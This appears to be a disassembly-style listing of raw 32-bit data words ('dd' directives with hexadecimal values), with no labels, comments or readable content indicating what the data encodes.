dd 94530725h, 0D320EC98h, 769B1FAEh, 0F45033C1h, 770FCD89h
dd 401CC294h, 7AEC81AAh, 0A028C093h, 3B27D031h, 0BC03C398h
dd 9912057Fh, 0D8F3DBCFh, 48E0981Fh, 210F5976h, 5AE08E31h
dd 6BA59524h, 0DE606100h, 3BE0EA84h, 3EA6E2CEh, 70078B58h
dd 8FAE5A80h, 0EBAFDBA0h, 4103631Eh, 0C4A2F44Bh, 0DF0DA122h
dd 1084FCh, 6175ADD0h, 5991EC6Dh, 8BAD902h, 0F73957AFh
dd 0EE76B160h, 0FA5C8D00h, 6FA0F4CBh, 914900C1h, 3F86E789h
dd 3A0044C9h, 0D94B5105h, 904ECD85h, 0D9205C5Ch, 78808F3Fh
dd 0B8BCD63Dh, 790FFF34h, 0AED790h, 0CAC31059h, 0D51B0304h
dd 0D9F56488h, 7633909Fh, 0EA00A88Bh, 0AA352517h, 70280Eh
dd 3C079FDBh, 0DF81A501h, 4BBB0601h, 0BEB33264h, 1CA75DC4h
dd 5DC7C284h, 5FD0DCB1h, 0D3AA81D6h, 0D0A0C808h, 2B00BEE0h
dd 8A04B0CEh, 475949h, 77E9E34Ch, 0CDE6D92Fh, 19A04000h
dd 7610BF68h, 0F1870157h, 2FEA5AEFh, 0C44FDC84h, 3E22D800h
dd 0FDF7E072h, 0B6A0BBEh, 70A0B81Fh, 50D8EDC3h, 1A00717Dh
dd 3B8F6D64h, 0E2EB5Ah, 2021DD87h, 32C790BAh, 1A42E700h
dd 4158F7D1h, 0AFED00CBh, 6F1DD08Fh, 0FF0F1847h, 0B5B296h
dd 0C92E3F83h, 0A5B80AB1h, 17084C4Eh, 90F10610h, 0E2008183h
dd 0CD34EFCFh, 74C7FAADh, 0B1EC005Eh, 9125D806h, 8207AEA8h
dd 0BC8758A2h, 0B219A5E1h, 44B798E3h, 0A19100A7h, 7D7382DCh
dd 0E019045h, 15DE17Eh, 0CAF0C457h, 728DE224h, 0C6925C26h
dd 9A0BC101h, 0E447EF77h, 0E900AD51h, 913B11E6h, 3DACBDB1h
dd 0D6877566h, 0E33F4D46h, 80ECF784h, 0EBE534E0h, 8961F901h
dd 0F65413ADh, 0E2901F7h, 85BC84D8h, 0A2A4E40Fh, 39335701h
dd 0FCAEBB7Ah, 8AA9FCh, 0E651FE55h, 8899B2Fh, 380108B0h
dd 0D4CDB776h, 0C03083E4h, 48DA7152h, 6E002F3Ch, 0EF66997Bh
dd 0DF2F52Dh, 85316500h, 0ED347E1Ch, 5F0F0007h, 4326E4Eh
dd 56745D30h, 36ADE30Bh, 77EAC295h, 0F88B9D40h, 0ED285700h
dd 0A1462794h, 0AE2600DFh, 0B7D43E30h, 0CA12CBAFh, 2F00E32Eh
dd 0BB01EABCh, 847143Ah, 6D12D8AEh, 0E9620067h, 0E42A2EF4h
dd 5D88C200h, 0F631969Ch, 15AB0095h, 0C7BA67A0h, 983F72CEh
dd 4EE8029h, 0AB2C0ACFh, 0A8F71F64h, 0F95700F0h, 0A959AFA6h
dd 629C1413h, 80B6E44Eh, 0E3ACDB2Ch, 401E09BFh, 1100AB83h
dd 4F1A416Ch, 383FAA00h, 0ACE2924Ch, 2C1B2C34h, 3082C09h
dd 0C9CAAF29h, 0A04D4C80h, 1A3D6C0Ch, 0DD10B3h, 57F4A875h
dd 74E05997h, 871F0200h, 0AD85A6DAh, 4BA10E6Dh, 0CAC0E577h
dd 21AEAA0Ch, 305B7A30h, 8F467C0h, 0BCB6A722h, 186858CCh
dd 3074A2AAh, 590A9CDCh, 2C5F2B20h, 884552C1h, 0E9E02916h
dd 0EC19A075h, 4008CA12h, 2C21305Dh, 3601C0Ch, 0A7F8D7E8h
dd 2CA5DE3Ch, 0D426A64h, 0C6403960h, 0CC3053FEh, 0E2C740D1h
dd 2338ACBDh, 0A0859398h, 3060A15Fh, 0FD37F2B2h, 5004800Ch
dd 1E7EF8Ch, 0A1279C83h, 9C4F29DAh, 34795814h, 0EF64E0C3h
dd 98844042h, 46EEEA70h, 0FDC0000Ch, 0D367EF48h, 4330ACA6h
dd 0AAB91438h, 8CAF14CCh, 1160A618h, 6E3758DAh, 431D0031h
dd 508587EFh, 14B298E3h, 0D4E729FDh, 603861F4h, 27EFF0E9h
dd 240A8C26h, 1640A91Ah, 0D280C2BCh, 40300CEDh, 0EF980A52h
dd 8DFCC7h, 514E1407h, 0B40FF10Ch, 0D420A724h, 0F708E048h
dd 0A7443A2h, 8092E5A0h, 31EC7CABh, 76012080h, 3060B23Ah
dd 33E709A7h, 3B10C0CDh, 26278422h, 7FA81765h, 28009414h
dd 24898A8h, 98716804h, 36E01956h, 410348B8h, 5010479Ch
dd 53F95AC0h, 5CD20C24h, 2F9E093Eh, 0B07C151Fh, 41A5C059h
dd 0FAC7240Ah, 0D30AA499h, 2438CC61h, 4C73A0FCh, 5040ADA0h
dd 20E1488Ah, 80F77218h, 0A0C948C7h, 24F4162Ch, 222455E2h
dd 608FE01Ch, 7BEB305Fh, 835239D1h, 54E8CED8h, 12F4D438h
dd 182C2EE9h, 20900CFFh, 6811805Eh, 6A8AC109h, 60588F53h
dd 0EC1E6294h, 10CE48D2h, 0A574FB39h, 540680C4h, 0ABEFF746h
dd 3A87C0A0h, 638F557h, 9286AB26h, 0DBC01661h, 808010D7h
dd 0F4A90CA3h, 2816EB2Ah, 0EA0A7120h, 37E060C6h, 0DC64EA7Eh
dd 0DE450028h, 0E0D0E6B1h, 0C8A526E8h, 0B2B8A03h, 8994FA91h
dd 1E55E8Ch, 0F1D9067h, 0D84BC42Ch, 7695461Dh, 5683202Bh
dd 1CE81E0Bh, 83214071h, 225BA70Dh, 0F62F27A1h, 88789CE0h
dd 786CD857h, 47D6D909h, 8EA4209Ah, 856C19A8h, 89FCD701h
dd 0C4505E2Ah, 141A333Bh, 18A2BC2Ch, 0A88613A0h, 0D8E99D30h
dd 0E0794EE0h, 55F50B8Ch, 0AA562C0Ch, 0A0A0CC14h, 32144D9Bh
dd 0C038D57Eh, 6C1040D7h, 0C572B0Ah, 0F5598718h, 0F35CE2A7h
dd 75E5CC82h, 74308CC2h, 8E075551h, 52CB451Ah, 5830F805h
dd 235871h, 52C8FF95h, 0D861460h, 1A644712h, 569C838h
dd 0DF0F7675h, 9BC1CFDh, 58960D34h, 283B1406h, 928CCC5h
dd 22E0FFA0h, 0F802B016h, 1ED059DCh, 8FB081FCh, 285C1A43h
dd 35D00C32h, 0E0C84453h, 0D4F0A02h, 0C1D6C587h, 0C7F468E4h
dd 0B930246h, 0B25C471Ah, 53E8D040h, 0B647A6F8h, 3967D907h
dd 0DA0AA5Dh, 214803C0h, 0E7088424h, 9C800DD7h, 13F8F18Bh
dd 16A74F67h, 20042830h, 0F00DA23Bh, 0ECCFE8DDh, 72B01087h
dd 9DF21816h, 0C50970DCh, 2E54011Eh, 0A862F50Ch, 616C73C1h
dd 60A050FEh, 0DEE1DC5Eh, 38472662h, 5E8CDB1Ch, 48408926h
dd 2C13204Ah, 8E503CF2h, 0D430CAFCh, 7EA090A4h, 273E0448h
dd 0CB0D155Fh, 98CD3918h, 80913ABFh, 18E34C5Fh, 3BF49E0h
dd 58980F30h, 1F0E2AE0h, 83358721h, 8E730729h, 0C9A42CA5h
dd 0A0B2753Dh, 55C014E6h, 0B71DC8BAh, 0AAAC0074h, 828C7243h
dd 26B9E601h, 0FC7FFB6Ah, 9EDEC8h, 8DA68BC3h, 5DB568ABh
dd 0DBF34C1Dh, 0C3CAEC1Bh
dd 0B829F8CCh, 0B76A1FACh, 0E8340C62h, 306F218h, 2EE54C30h
dd 0FCD02930h, 81F10230h, 0CEE067BAh, 1D018B8Dh, 16AC5795h
dd 60D023E7h, 3C0CE8FEh, 4C0C3A89h, 8A0811B3h, 87520D1Ch
dd 0E7369741h, 47D0D51Fh, 78A864C6h, 61CAF03h, 18F7803Eh
dd 0B8F87ED8h, 56A8079Ch, 43A9E76Ch, 3074C08Ch, 0A0289E31h
dd 109F2450h, 74BC3EBh, 6CE0D592h, 9F156ABDh, 0CF903D67h
dd 573042E9h, 4EB0184h, 493400DAh, 0D2E5E955h, 0AE0EC080h
dd 0A43A0787h, 0B81F7B77h, 4F245D2Bh, 116C3030h, 28AC1456h
dd 24803005h, 985F9B5Ch, 0CB8DA90Ah, 0CC04C09Dh, 0FF0699C9h
dd 0C703A07Ah, 87AC2B94h, 0A0087BA7h, 3AFE4CA0h, 69302CA6h
dd 4D85CCE0h, 13BCF4A0h, 0C56C4E1Dh, 0FC8740CAh, 14B73950h
dd 0CCC9AD52h, 46BB2B00h, 0D485AC55h, 652C5D07h, 6C4E57F7h
dd 651E10EDh, 71D7D071h, 0C44D72F0h, 0B80DCACh, 58EB0AC9h
dd 5902A2Ch, 7181EECh, 0CFEF4CB8h, 50C0EE06h, 6CE88A61h
dd 0E401D454h, 1860943Eh, 0FCCC0CB0h, 500E08C2h, 0E5EAA01Fh
dd 662DACF0h, 0A08030F3h, 71ACC00h, 4BF02C4Eh, 0C00C30B8h
dd 2704C60h, 2445E1F9h, 0F107A254h, 8EA68DE5h, 0B460CD40h
dd 462D1DFBh, 441E3C02h, 866D0607h, 0B32808BDh, 8C63A06Bh
dd 0FB7AD18h, 62F13109h, 0B801D363h, 4E2085F8h, 10C6EDF0h
dd 3F08E9ACh, 62837E4Ch, 4F49D46Ch, 111F5CA3h, 6436BF3h
dd 0A1BBD39Ah, 0A6D0A4F5h, 681F0094h, 0D46AC87h, 8D032DCDh
dd 0B6076690h, 5934A0BBh, 6D4D3BA1h, 320DAD86h, 9200409Fh
dd 0D86768B6h, 3C2769C2h, 3C74B84Dh, 0FA03CB8Eh, 5BEBEEF9h
dd 0D0C01CA1h, 7BE86EE3h, 0C8624F07h, 0EB9003BBh, 0E9D05F3Bh
dd 0F0E479E0h, 46691FDBh, 5BAD00C9h, 29609BC8h, 3ECC8B80h
dd 0C1BC7009h, 88A8037Ch, 30E050DDh, 446AB0C7h, 2502F03Dh
dd 151BC959h, 0DB80096Bh, 3AAFBBC0h, 0FC2908C5h, 11899BC1h
dd 6CEFBF0h, 0F15BC6A2h, 1C4018B5h, 2EFD34BBh, 20B286B0h
dd 0EF174579h, 1E1DC9D0h, 1856E607h, 0C0DB1AF3h, 0F8C83CB0h
dd 0F061F250h, 0A56A3990h, 0FA0D000h, 1208706Dh, 0C7991601h
dd 78F9185Ch, 7DC419F5h, 1BFA015Ah, 0BBF513B5h, 110BA6Eh
dd 0AF94F95Dh, 9BE12799h, 1DEB4AE8h, 4F0E70h, 0FF864D0h
dd 0C2606B3Bh, 561FA340h, 32E0771h, 0B00DAB1Ch, 5169A541h
dd 1B3C2A0Ch, 7D322821h, 0AFDB184Dh, 38860825h, 0F8E73780h
dd 6061033Bh, 810D7BF5h, 4F621800h, 0D118BBFFh, 319B1F55h
dd 9F5B0619h, 1329823h, 83CA280Bh, 78E51BF8h, 3FFEB30h
dd 98E78610h, 40C7CF1Ah, 0DDFC7B3Ah, 9488B001h, 0CA499BEBh
dd 891CF041h, 0F12AC841h, 288060F3h, 0D125FDD0h, 0E3DE101Ah
dd 0FFD78150h, 70805EFBh, 9986903Bh, 0E266893Ah, 12186910h
dd 362929Bh, 0C8668414h, 244018E2h, 0E466997Bh, 6A13F60h
dd 0FBC83D5Ah, 0CC00318Ah, 56B0D111h, 6650099Dh, 9DB409Fh
dd 8CD44AA1h, 8FE8548h, 0C0F26234h, 20407135h, 4890060Ah
dd 0C940BB03h, 0A04A7E9Bh, 90D742FBh, 0AF3C020Ch, 0D6D1D919h
dd 0F76B1C40h, 7B482C90h, 5100A24h, 9000A865h, 0ED9B0FF9h
dd 4ECACFDh, 73400D7Ch, 4F401E58h, 501BF40Fh, 0F0DD05F7h
dd 70FAE885h, 0EA925A1Ch, 360096ECh, 9D5BFC2Ah, 767BFAh
dd 0A3F0E7FEh, 0BBEF9586h, 14304B48h, 87201E46h, 2F00636Fh
dd 142A351Fh, 3411F7DCh, 0B26764A0h, 286C1631h, 60213FBCh
dd 7587520h, 6EB13BF5h, 0C68742F4h, 38912440h, 0C4247D80h
dd 872DAF08h, 38F81654h, 385648h, 0F515EDBBh, 12F07B9Bh
dd 66D7A98h, 60795B48h, 0E8411B28h, 4C92A2F0h, 82778300h
dd 99872BDAh, 924C039Ah, 9C6BDB55h, 0FF760801h, 4D80FA98h
dd 935D508Ch, 3D717140h, 31BE1013h, 0F5E40404h, 0CED5880h
dd 9E901DD1h, 0C3D00407h, 2358C3CEh, 1BA9012h, 0F2FB3C03h
dd 670802E3h, 0FEFA998Bh, 13D28469h, 7BC8E8E4h, 70654044h
dd 1A3A88CDh, 18EE509Ah, 3D299400h, 44902C50h, 1BE97002h
dd 4873F0D1h, 983FF1A0h, 58CD4878h, 56825000h, 5EC6BBC9h
dd 4A037BE8h, 6D5BF5F1h, 7EDBE155h, 8E9B0886h, 0B64C5831h
dd 0FFD018A8h, 98199048h, 7C40F0A0h, 9A43F0C6h, 467632A4h
dd 78408438h, 0C364BCBBh, 0A4D07908h, 13D31B8Eh, 5BEC70h
dd 7F052788h, 8C9A1130h, 78129F3Ah, 0EFF39206h, 1B08C550h
dd 10F55990h, 4000119Bh, 107F33A7h, 0F185477h, 0EFCFD2D9h
dd 0A8A7E209h, 4049942h, 0DB1C815Fh, 7B60308Bh, 0E809846Eh
dd 886509DCh, 0B6941C02h, 0D3A3A040h, 0CD3D3490h, 747B8C82h
dd 40DC282Ch, 881C0A30h, 0D48C5B0Fh, 3F31D8F3h, 0B8837BDEh
dd 0E7139BF0h, 6E8B1001h, 0CBCC70EAh, 0C954BA00h, 49B5B12h
dd 0EA7A8060h, 764224EEh, 949C0AD0h, 3EDA6010h, 20F315F4h
dd 874D7C90h, 0AC0F26C0h, 9CC74989h, 0A7D000E8h, 52BB7E02h
dd 3E485C2Ah, 623B1E7Ch, 6E0C1CA6h, 2B98D839h, 814CFB83h
dd 0F1B7B5F8h, 3C78867Eh, 2868F790h, 0EA842E50h, 0AC40C52Dh
dd 102C82C4h, 1A28843h, 0C028046Eh, 256FAB77h, 27392448h
dd 0F4367E00h, 0B82B215Bh, 76801CC6h, 0B59573B9h, 0FC231C47h
dd 7770F2BDh, 0F79C1498h, 0A4D5B709h, 87348266h, 123CC0D2h
dd 1BC0164Dh, 7BD402BEh, 9C42E42Ch, 5EBAA0A2h, 0D7DBE4C1h
dd 24A481C5h, 2250C85Bh, 0D8F8C098h, 0FBF43CB8h, 0E8F02874h
dd 1F9B08C2h, 6FCC4103h, 4CBC3474h, 9F021C7Eh, 0B170EFF6h
dd 0B9FB5DC0h, 7BF4CA1Fh, 0DE10F398h, 0F0EB1609h, 30CC0206h
dd 0E4802F80h, 1B0FBCA7h, 0C0D45F21h, 0E2B1C6D3h, 0BCE09EEBh
dd 3000DCA6h, 90245C8Eh, 18415861h, 0B0108131h, 689024D7h
dd 904C9890h, 43BEA0B8h, 0A5F03180h, 8A089C50h, 0EC7F1BC8h
dd 4028BB12h, 7636046Ah, 966A6A7h, 5448882Dh, 0E596A8E0h
dd 0D8A0508Ch, 44DF4C5Ch, 6B18B00Ch, 0F1C2A258h, 0B8C6AEEEh
dd 17A46134h, 44591270h, 93F4540h, 22C1E68h, 0A455EFBAh
dd 350265FEh, 22646074h, 1A4A706h, 0AEE76191h, 0FD2824BAh
dd 74F80465h, 0C048E811h, 5DDC3E73h, 235A3ABAh, 5299992h
dd 81CFCB00h, 603AD6D8h, 186F4B1Ch, 0CD548E0h, 0E210C6B9h
dd 0FB0FDE0Ah, 67E0C0ECh, 62C05DA3h, 51BC88CBh, 83BBC60h
dd 6390CA62h, 832C40F7h, 0E368CA07h, 9B690F0h, 8375C1F0h
dd 174B90B4h, 4283D08h, 81791F44h, 305CD0ECh, 18948EACh
dd 8C04E713h, 0A4D19350h, 2070C1B5h, 7DFB7C59h, 7F071C30h
dd 9008B0F0h, 0F1F10205h, 0F320215Eh, 502880FCh, 2C90C834h
dd 10131D30h, 307F18B9h, 303876D0h, 20DF5848h, 2B086039h
dd 0F4191612h, 7C6D4834h, 0DA08C473h, 69BC040Ah, 0A2D0A118h
dd 0EB80C2B0h, 90036BC7h, 7919A188h, 843858FFh, 0AA683B31h
dd 0C1808C14h, 13DBB00Dh, 181A8399h, 610990C5h, 907B80CCh
dd 0A00C6F10h, 384D0506h, 10B02971h, 78F6F434h, 61F0D2C2h
dd 88FAF67h, 0FB008D11h, 3BF2B16Eh, 57E98560h, 671BF356h
dd 785B081Ch, 0A8020D97h, 636EE6DBh, 1881BDB0h, 0B030BAFBh
dd 0A07233BBh, 0C98FC750h, 95827880h, 0A8B8508Fh, 11C59B19h
dd 14305828h, 0CEEF2C1Bh, 1711B14Ch, 0D8388B25h, 92BC86A8h
dd 518CA110h, 41FC3820h, 0D0F8700Dh, 64C3E32Ch, 501D7B16h
dd 5BDFF0Fh, 709395BBh, 780852F2h, 0D5D3AFC1h, 9C4C24C1h
dd 58504E2Ch, 18F2EA70h
dd 28A7E9D3h, 54B8987Ch, 3487D0A5h, 29CC0ECCh, 4019085Ch
dd 29503024h, 392A2237h, 709B3C24h, 0DDEEBB05h, 134D2C28h
dd 5E868AB3h, 0FC487D60h, 45701B13h, 9BDFE8h, 0F3734D88h
dd 0ED3A8D3Bh, 0D8591DDEh, 0B162FB00h, 0B0F230E0h, 4C1B2CCCh
dd 78BB02D8h, 8C9655B2h, 8616F40Bh, 0FC3020D6h, 0C0CC7Dh
dd 55DA17FBh, 0D31611DBh, 5F1AF014h, 0B80A28D4h, 88123B10h
dd 0F3D5C409h, 35040496h, 8EB7E2CAh, 4D0FDC03h, 0C327F001h
dd 0C7FFB55h, 587C7020h, 0ED511852h, 409BFC01h, 5CDA70E0h
dd 0BC37404Eh, 0F651B2E0h, 6030F4E2h, 222680B1h, 0BC8294E5h
dd 0C5C0E96Ah, 29B287A4h, 97BFE449h, 0CC024B00h, 460131Bh
dd 0C0486830h, 22B21898h, 0B22707E8h, 4824B218h, 0E25870A5h
dd 0F43C8414h, 0B3A18CB0h, 2CC39020h, 9B4637Ch, 4C80CB3Bh
dd 0E7FE58B0h, 0FFC01018h, 0C24BBE08h, 0FA1A9DE8h, 0F2814445h
dd 0FDA57AC6h, 905CD889h, 21899089h, 0D185482Eh, 521C700Fh
dd 9F24B3DFh, 0BD89388Dh, 91AC8657h, 62D07040h, 65470DCh
dd 1A1288C7h, 28C7AD02h, 0DD404362h, 0C707430h, 0BA0F20CAh
dd 7FA3FC12h, 89551805h, 790460CEh, 883B9018h, 7E505104h
dd 1C9089D0h, 0AC70DB4Bh, 64B02B1Dh, 0A0BCC181h, 9D51F08Ch
dd 0D5B2D0A4h, 0A1C080B1h, 58D4E693h, 9C0068B2h, 0B918B446h
dd 952485F3h, 1050500Fh, 0BCE21E62h, 1D8E829h, 791880ACh
dd 4BEB5C3Fh, 5E2804F0h, 38A472FFh, 308B6596h, 0D04C8074h
dd 0ACA066DBh, 49C0815h, 0AD43558h, 6930B3C5h, 40BB19CCh
dd 0B1645819h, 0A8FE7238h, 0AFF280B9h, 7DF81F4Ch, 1760CF61h
dd 10BDE92h, 0EC07C568h, 0E4200984h, 381268A6h, 0CA9950C8h
dd 4FFF3E00h, 0CDDC2A5Ah, 1214A511h, 5D1E0681h, 0BC2C50B7h
dd 0F0122835h, 0C053828h, 6144DE15h, 91599C50h, 3217195Ch
dd 0A8616E08h, 4C5A36E0h, 1DB378FAh, 7443F3A1h, 0EF487C44h
dd 1D00470h, 0BCE2D36Bh, 0E3989C81h, 5CC18414h, 3C8E27FFh
dd 32D4CC03h, 28164842h, 4802183Ch, 940D05FBh, 8DA22E18h
dd 65FC09A2h, 8A047C1Ch, 85C14CBh, 0DCFC8C83h, 592F2C81h
dd 2904C60h, 6F94E7BFh, 0D487381Ah, 0A803DB0Ch, 43C750B7h
dd 80247116h, 3B09F84Dh, 6AB860CAh, 7B0F38BBh, 589008E8h
dd 0D812E0ACh, 0A046C1B9h, 79606572h, 32E09070h, 55106C8Ch
dd 5C9BA060h, 5931DCBAh, 4D2D68C6h, 0B9128087h, 80D8C3F2h
dd 290E6838h, 0CC60B0EAh, 637DA25Bh, 0FABCE815h, 0A9BBA83Dh
dd 23C09C5Fh, 4D24A559h, 4124ACBCh, 871002A0h, 5445F351h
dd 0A0899382h, 26946475h, 70805FDCh, 0CF72409Fh, 355C29C6h
dd 70900958h, 0E81694F9h, 9B09B1EAh, 14CEB35h, 0FAD226B0h
dd 60C03032h, 0B6147522h, 43F1C883h, 6360B1FAh, 21E3A9DFh
dd 0ECFC8124h, 307079D0h, 0DC2924C4h, 74915082h, 7B5767C0h
dd 0AC2B547Ah, 64504C86h, 0D8C75E0h, 0A8A8A6FCh, 0D49943CDh
dd 18ADA6C0h, 7C51C22Dh, 7894CB7Bh, 17D31B02h, 824D909Eh
dd 94C69FA4h, 131F0664h, 50162F92h, 264E3C14h, 69E9A03Ch
dd 0E16D286Eh, 0A6F2B4h, 0D97BEBCEh, 0FA10E0A3h, 809008C8h
dd 0A9209430h, 0EB24DF1Ah, 13582055h, 9C640937h, 0AC025F8Dh
dd 0C0675389h, 9C3F1401h, 289CC305h, 0FF84ADCh, 5DEDE078h
dd 1448C3ECh, 0E3BC1DFCh, 0B5496A5h, 0D99C27B0h, 83A81C63h
dd 50AEF32Bh, 0BEDFC806h, 14287039h, 0B4893C7Ch, 0BDC0CFE0h
dd 5CC9A961h, 6C202F89h, 8634871h, 0A1BCFD28h, 0FC4E4AF3h
dd 66267E02h, 30C0B404h, 0FD006C3Ch, 0D9BDDBC0h, 44E5A2h
dd 0F4866AC5h, 0CC2F28DEh, 56634F1Ch, 0E139DC80h, 289682Ah
dd 4287C6BFh, 189865E0h, 70002923h, 39D4516Fh, 0A5D71C1h
dd 0C6BE9F89h, 2B484014h, 7667D4C5h, 0B5672158h, 9C5ADFF1h
dd 8491448h, 75A67F0Eh, 0E5140100h, 0A6043FB5h, 0ABAA063Ch
dd 2856593Ch, 3DF16118h, 0A4DE67A8h, 5C0F0614h, 0A0521D5Eh
dd 53AC4105h, 14601FB4h, 32B3F023h, 0F911FE36h, 0F87FA640h
dd 8E2509C0h, 0FD6BE0h, 5F31E70Ch, 35912D1Bh, 36A7051Ch
dd 156E3440h, 8930D7h, 9AA1C57Fh, 0CF2C869Dh, 9300DF75h
dd 852E0EC9h, 72E9EA43h, 0B56C1D90h, 5666CE8Ah, 4BEF7800h
dd 51027D5Dh, 0A9228DDh, 6460DD5Bh, 46017555h, 0B6CB613Ch
dd 1EC0D395h, 0E1420021h, 1FFDF060h, 0BF00149Bh, 0D802853h
dd 0E0450CC3h, 243304CDh, 0C0D6512Dh, 4198385Fh, 1A5BF600h
dd 569B58DAh, 0E5EB0CE4h, 9BC95A1h, 0CE00E1E8h, 98903331h
dd 753B57Bh, 0E0F2301h, 0DCAA903Fh, 0D93B70CFh, 0EF228172h
dd 0AE77E4D7h, 0AF66F0F7h, 6A1D008Eh, 0D0C06E6Bh, 7F03B2B3h
dd 294D1AB4h, 0E83DE013h, 0A98C3C9Bh, 0DDC6AC00h, 30E6B1F5h
dd 3788D8E5h, 0EA15D31Ch, 0C6E48240h, 59B0A0h, 2170E2Fh
dd 9B1574Dh, 0AA66EB28h, 0CE8EE600h, 4A73446Dh, 2D610E74h
dd 0CCA0B863h, 568B3072h, 53262C00h, 0D3D92B96h, 1097CEFh
dd 0A7BEF197h, 7E868B6Eh, 47833800h, 27850Fh, 0CB97883Ch
dd 0FC3174BAh, 48A1B400h, 0ACA78DB5h, 38207465h, 0E1809D9Bh
dd 8E3235E2h, 0E500485Bh, 0DC6FE35Fh, 334DB05h, 61998278h
dd 7FF0B3ADh, 350751AAh, 75949FD5h, 80EF7095h, 89B7A9D4h
dd 9511B400h, 0C7DDCE65h, 8E15004Ah, 8B13EA8Ch, 0C8001E7Ch
dd 357E8404h, 7EB42A1h, 0A5FA0594h, 0AD5DC06Eh, 4D008D91h
dd 6BF8C28Ah, 38BFC8h, 0F6BBB22Ch, 7577B1D1h, 0BCD34D00h
dd 5E064353h, 463C2645h, 3AA500A8h, 0D3D786D8h, 0DB782202h
dd 8565F0F4h, 0BC0350CAh, 0F0B78FA1h, 94B188h, 2C246F6Ah
dd 233E7E3h, 9FD1900h, 8A828C28h, 0B15C0098h, 0D11D2274h
dd 0C0014D61h, 70D7193Dh, 0FAF48F11h, 0B6E601C4h, 8D73A8DEh
dd 0CAFBE0F1h, 796F000h, 0FDF422A6h, 4BD20057h, 0A8C24ECBh
dd 0FB008E95h, 0B410164Ch, 3AF91E44h, 0D68005EAh, 12ECBE74h
dd 0E100277Dh, 49A6ACDDh, 1FDFEBD4h, 807C04E4h, 14E786CAh
dd 1901F2EEh, 0D62C4B23h, 0A5F0FD98h, 0A3E60075h, 27FC0B79h
dd 4B0FEB70h, 40F44416h, 80E5ACB4h, 873B5CEAh, 0E7129900h
dd 90032BBAh, 0B0A17700h, 5D5204A4h, 1C4F01A7h, 6DE714DDh
dd 0E64DE073h, 81AC7D00h, 0ECD522A3h, 42F602D9h, 3D88ADBDh
dd 1EDFBC80h, 0C51D9A64h, 0B949A472h, 0C9780141h, 2FE5CF95h
dd 62EE820h, 0DC160F54h, 40EA102Dh, 6A3A7807h, 9840FA8Ah
dd 11AE3F2h, 8F580C93h, 0F79EE9B2h, 0DA6271D0h, 4E05AC00h
dd 0BE5491CCh, 387226h, 72F2EDF3h, 783A9C56h, 868C2F00h
dd 1F6AB74Dh, 523D00AEh, 486F540Bh, 0DE00015Ch, 7216FDBDh
dd 78FF8Ch, 0AE6ECBA7h, 8D098520h, 49DA5C01h, 9B703305h
dd 31BA9280h, 3FD080B0h, 0CA0095FEh, 8B99C0F1h, 73ACBDh
dd 43B3073Dh, 0BB74E8C8h, 6129D4F3h, 8367C30h, 573472h
dd 69AB05A5h, 7D0AFB11h, 3A335B00h, 36FF6A1Ah, 167CE46Bh
dd 1E9AE43h, 8204D021h, 1898805Bh, 0FB4DEE10h, 5DD401D2h
dd 0D95A809Fh, 22ACF4B4h, 43D5903h, 0FAE44C78h, 5B8380D7h
dd 9D8F41h, 0DD0A94BCh, 59E2A9CCh, 0FF078198h, 0B08B2D58h
dd 926D78D0h, 0F6EB1CA2h, 0CF570FEEh, 0A03070C7h, 20ADAA93h
dd 350C4400h, 1F4E5253h, 72360061h, 63A06DC8h, 57F6286h
dd 0CF22C400h, 3A29BFB8h, 0F740112h, 337A169Fh, 0B735FCD8h
dd 5CE5AB0Eh, 9E950003h
dd 240B3DBCh, 38CB3F94h, 0E9B0D00h, 1360A2C6h, 0E162E700h
dd 167AC932h, 3419009Dh, 63D4E35Ch, 0E200C05Ah, 4D1B03FCh
dd 44971Ah, 33F387D9h, 96EBD51Ch, 30F75E13h, 5B21FF00h
dd 3D6480h, 9CA7F10Ah, 5D783784h, 3AE21538h, 6F7B80A2h
dd 0A9943C4Ah, 0C01128D9h, 0B7780EBEh, 0EE40C50Ah, 0A1287BDFh
dd 10FC6603h, 0ABAE24EAh, 1FDE035h, 0CBBA00CCh, 977BBE82h
dd 2300AF0Ch, 0A79E87FBh, 3CCA3A84h, 73EFFFh, 0E87DACA1h
dd 8AF94549h, 0C3DD3700h, 635DD67Ch, 4BA50079h, 53A21C08h
dd 25008247h, 0AF4D6548h, 152E64h, 9654FA80h, 0F2D0F7ECh
dd 58DC893Dh, 0B0F800A8h, 4A8F559Fh, 685C009Ch, 0EB298E2Eh
dd 8B00159Bh, 1BC5F56Dh, 0CC87C2h, 0CE0BEAE8h, 0F7342912h
dd 0C7D24200h, 0E447ED85h, 0ECA700D1h, 0C76539Ah, 0F998ADB1h
dd 2AB36E00h, 0D23C0BAEh, 506D013Dh, 7B619148h, 0EEDB70BCh
dd 75A2B600h, 6F964298h, 41D43A11h, 21808480h, 0EB4CD93h
dd 0B6E91F00h, 27038F51h, 54F300FBh, 8BE30529h, 5AE65F0Dh
dd 0E9ED6512h, 0D4B83400h, 726CD97Ch, 17CF0054h, 8D580681h
dd 0BC01B1F6h, 37CAB28Ah, 6DD56724h, 0E87FE020h, 0F3B5006Fh
dd 8561420h, 0C5B82594h, 4F9C6B00h, 8945AC5Dh, 0DA6002Eh
dd 0F905640Ch, 9E1F9959h, 95C133D2h, 73B11DEEh, 3F13EFE8h
dd 3E80AB0Eh, 114C39D1h, 58C00F2Dh, 0A5264F09h, 76C2003Bh
dd 41921FD6h, 6BF84610h, 0CC7C8F00h, 752D6352h, 0FA0900BCh
dd 907A31C1h, 87E5178h, 0FED0A200h, 666023B4h, 0F85BFE35h
dd 0E36C3CD2h, 881F1E8Fh, 80C36EAFh, 0FC0E5A3h, 13785F89h
dd 4F458500h, 0B7E2F21Eh, 6BDC1DFEh, 963C0DFh, 56C122BAh
dd 2BAD0E00h, 17EE3BF6h, 72E2D0h, 0EBD34F36h, 47915DE3h
dd 99847F00h, 0D90DAA73h, 85BD0749h, 0E09A974Bh, 0B0392702h
dd 0CB51D800h, 1FBA9488h, 0D0F00CDh, 30A9E670h, 0E0E91BFh
dd 60F5FEDFh, 2888AB67h, 604900BBh, 226D17F9h, 1900B50Fh
dd 80E2B6FEh, 2B08DCh, 0C9338FA0h, 57515DF3h, 0E70011F6h
dd 0A91FA267h, 449FF06h, 0D9DFEF14h, 805A85D2h, 0A7435866h
dd 0C347E51Dh, 721378F0h, 7A6E6B8h, 7AE12266h, 38DEC058h
dd 4800149Bh, 0EDB14F4Ah, 503AF653h, 0EB88Eh, 5B84466h
dd 5C1D8022h, 0A98DF500h, 0B965261Ah, 0B2B10009h, 228E5552h
dd 1779DC4Dh, 4436F700h, 91CB392h, 0EEEBE09Bh, 722800B2h
